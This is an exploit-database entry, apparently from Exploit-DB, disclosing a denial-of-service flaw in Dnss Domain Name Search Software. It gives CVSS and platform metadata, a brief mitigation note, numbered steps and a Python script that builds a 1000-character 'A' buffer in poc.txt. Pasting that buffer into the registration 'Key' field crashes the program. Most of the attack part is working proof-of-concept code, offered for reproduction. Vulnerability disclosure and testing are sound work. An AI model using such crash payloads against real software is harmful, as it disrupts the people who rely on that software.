Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)

vendor:

Dnss Domain Name Search Software

by:

Ismail Tasdelen

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Dnss Domain Name Search Software

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

Dnss Domain Name Search Software – ‘Key’ Denial of Service (PoC)

A denial of service vulnerability exists in Dnss Domain Name Search Software, caused by a long string of characters being pasted into the 'Key' field when registering the software. A successful exploit could cause the application to crash.

Mitigation:

Ensure that the 'Key' field is properly validated to prevent long strings of characters from being pasted into it.

Source

Exploit-DB raw data:

# Exploit Title: Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install Dnss
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.Dnss Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")